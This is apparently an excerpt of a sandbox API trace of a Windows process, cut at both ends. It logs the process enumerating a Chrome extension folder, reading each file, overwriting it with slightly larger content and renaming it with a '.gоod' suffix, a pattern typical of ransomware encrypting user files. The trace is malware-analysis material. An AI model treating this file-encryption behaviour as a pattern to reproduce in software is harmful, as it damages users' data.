lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*", lpFindFileData=0x1f6e94c0 | out: lpFindFileData=0x1f6e94c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5574507e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5574507e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5574507e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134aa40 [0222.507] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f6e9480 | out: lpFindFileData=0x1f6e9480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5574507e, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5574507e, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5574507e, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.507] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f6e9480 | out: lpFindFileData=0x1f6e9480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551a1ac1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xc4a5bd1d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5572f0cc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.9_0", cAlternateFileName="")) returned 1 [0222.507] FindNextFileW (in: hFindFile=0x134aa40, lpFindFileData=0x1f6e9480 | out: lpFindFileData=0x1f6e9480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0222.507] FindClose (in: hFindFile=0x134aa40 | out: hFindFile=0x134aa40) returned 1 [0222.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e96e0) returned 1 [0222.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e96a0) returned 1 [0222.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e8d70) returned 1 [0222.508] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0", nBufferLength=0x105, lpBuffer=0x1f6e8810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0", lpFilePart=0x0) returned 0x6f [0222.508] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*", lpFindFileData=0x1f6e8a90 | out: lpFindFileData=0x1f6e8a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551a1ac1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xc4a5bd1d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5572f0cc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134a9e0 [0222.509] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551a1ac1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xc4a5bd1d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5572f0cc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.509] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554b43ec, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5572f0cc, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5572f0cc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_128.png", cAlternateFileName="")) returned 1 [0222.509] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554bb921, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5572f0cc, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5572f0cc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_16.png", cAlternateFileName="")) returned 1 [0222.510] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554ca385, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554cea98, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb5c41700, ftLastWriteTime.dwHighDateTime=0x1d03fb2, nFileSizeHigh=0x0, nFileSizeLow=0x5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.html", cAlternateFileName="MAIN~1.HTM")) returned 1 [0222.510] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554d3fca, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554d5fc8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb5c41700, ftLastWriteTime.dwHighDateTime=0x1d03fb2, nFileSizeHigh=0x0, nFileSizeLow=0x5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.js", cAlternateFileName="")) returned 1 [0222.510] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x551b5348, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554dfc08, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55727baf, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1 [0222.510] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551c64bf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554a0b75, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x554a0b75, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_locales", cAlternateFileName="")) returned 1 [0222.510] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x554f148f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554f148f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x554f148f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 1 [0222.510] FindNextFileW (in: hFindFile=0x134a9e0, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x554f148f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554f148f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x554f148f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 0 [0222.511] FindClose (in: hFindFile=0x134a9e0 | out: hFindFile=0x134a9e0) returned 1 [0222.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8cb0) returned 1 [0222.511] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8c70) returned 1 [0222.511] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e8d70) returned 1 [0222.511] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0", nBufferLength=0x105, lpBuffer=0x1f6e8810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0", lpFilePart=0x0) returned 0x6f [0222.511] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*", lpFindFileData=0x1f6e8a90 | out: lpFindFileData=0x1f6e8a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551a1ac1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xc4a5bd1d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5572f0cc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134abc0 [0222.512] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551a1ac1, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0xc4a5bd1d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5572f0cc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0222.512] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554b43ec, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5572f0cc, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5572f0cc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_128.png", cAlternateFileName="")) returned 1 [0222.513] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554bb921, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5572f0cc, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5572f0cc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_16.png", cAlternateFileName="")) returned 1 [0222.513] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554ca385, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554cea98, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb5c41700, ftLastWriteTime.dwHighDateTime=0x1d03fb2, nFileSizeHigh=0x0, nFileSizeLow=0x5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.html", cAlternateFileName="MAIN~1.HTM")) returned 1 [0222.513] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554d3fca, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554d5fc8, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0xb5c41700, ftLastWriteTime.dwHighDateTime=0x1d03fb2, nFileSizeHigh=0x0, nFileSizeLow=0x5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.js", cAlternateFileName="")) returned 1 [0222.513] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x551b5348, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554dfc08, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x55727baf, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x2d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1 [0222.513] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x551c64bf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554a0b75, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x554a0b75, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_locales", cAlternateFileName="")) returned 1 [0222.513] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x554f148f, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x554f148f, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x554f148f, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 1 [0222.513] FindNextFileW (in: hFindFile=0x134abc0, lpFindFileData=0x1f6e8a50 | out: lpFindFileData=0x1f6e8a50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0222.513] FindClose (in: hFindFile=0x134abc0 | out: hFindFile=0x134abc0) returned 1 [0222.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8cb0) returned 1 [0222.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8c70) returned 1 [0222.514] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png", nBufferLength=0x105, lpBuffer=0x1f6e8650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png", lpFilePart=0x0) returned 0x7c [0222.514] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e8b20) returned 1 [0222.514] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png"), fInfoLevelId=0x0, lpFileInformation=0x34f2ca8 | out: lpFileInformation=0x34f2ca8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554b43ec, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5572f0cc, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5572f0cc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xd2c)) returned 1 [0222.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8ae0) returned 1 [0222.515] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png", nBufferLength=0x105, lpBuffer=0x1f6e84b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png", lpFilePart=0x0) returned 0x7c [0222.515] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e89d0) returned 1 [0222.515] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0222.515] GetFileType (hFile=0x808) returned 0x1 [0222.515] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8940) returned 1 [0222.516] GetFileType (hFile=0x808) returned 0x1 [0222.516] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1f6e8b78 | out: lpFileSizeHigh=0x1f6e8b78*=0x0) returned 0xd2c [0222.516] ReadFile (in: hFile=0x808, lpBuffer=0x34f3d60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e8aa8, lpOverlapped=0x0 | out: lpBuffer=0x34f3d60*, lpNumberOfBytesRead=0x1f6e8aa8*=0xd2c, lpOverlapped=0x0) returned 1 [0222.517] CloseHandle (hObject=0x808) returned 1 [0223.398] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png", nBufferLength=0x105, lpBuffer=0x1f6e84b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png", lpFilePart=0x0) returned 0x7c [0223.398] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e89d0) returned 1 [0223.398] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0223.399] GetFileType (hFile=0x808) returned 0x1 [0223.399] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8940) returned 1 [0223.399] GetFileType (hFile=0x808) returned 0x1 [0223.399] WriteFile (in: hFile=0x808, lpBuffer=0x3663af8*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x1f6e89b8, lpOverlapped=0x0 | out: lpBuffer=0x3663af8*, lpNumberOfBytesWritten=0x1f6e89b8*=0xd30, lpOverlapped=0x0) returned 1 [0223.400] CloseHandle (hObject=0x808) returned 1 [0223.400] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png", nBufferLength=0x105, lpBuffer=0x1f6e8650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png", lpFilePart=0x0) returned 0x7c [0223.400] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.gоod", nBufferLength=0x105, lpBuffer=0x1f6e8650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.gоod", lpFilePart=0x0) returned 0x81 [0223.400] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e8ae0) returned 1 [0223.400] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png"), fInfoLevelId=0x0, lpFileInformation=0x1f6e8bc0 | out: lpFileInformation=0x1f6e8bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554b43ec, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5572f0cc, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x815d8f1c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd30)) returned 1 [0223.400] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8aa0) returned 1 [0223.400] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_128.png.gоod")) returned 1 [0223.401] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png", nBufferLength=0x105, lpBuffer=0x1f6e8650, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png", lpFilePart=0x0) returned 0x7b [0223.401] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e8b20) returned 1 [0223.401] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png"), fInfoLevelId=0x0, lpFileInformation=0x3664ed8 | out: lpFileInformation=0x3664ed8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x554bb921, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x5572f0cc, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x5572f0cc, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0xa0)) returned 1 [0223.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8ae0) returned 1 [0223.402] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png", nBufferLength=0x105, lpBuffer=0x1f6e84b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png", lpFilePart=0x0) returned 0x7b [0223.402] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6e89d0) returned 1 [0223.402] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0223.402] GetFileType (hFile=0x808) returned 0x1 [0223.402] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6e8940) returned 1 [0223.402] GetFileType (hFile=0x808) returned 0x1 [0223.402] GetFileSize (in: hFile=0x808, lpFileSizeHigh=0x1f6e8b78 | out: lpFileSizeHigh=0x1f6e8b78*=0x0) returned 0xa0 [0223.402] ReadFile (in: hFile=0x808, lpBuffer=0x36652e0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6e8aa8, lpOverlapped=0x0 | out: lpBuffer=0x36652e0*, lpNumberOfBytesRead=0x1f6e8aa8*=0xa0, lpOverlapped=0x0) returned 1 [0223.403] CloseHandle (hObject=0x808) returned 1 [0223.428] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\icon_16.png", 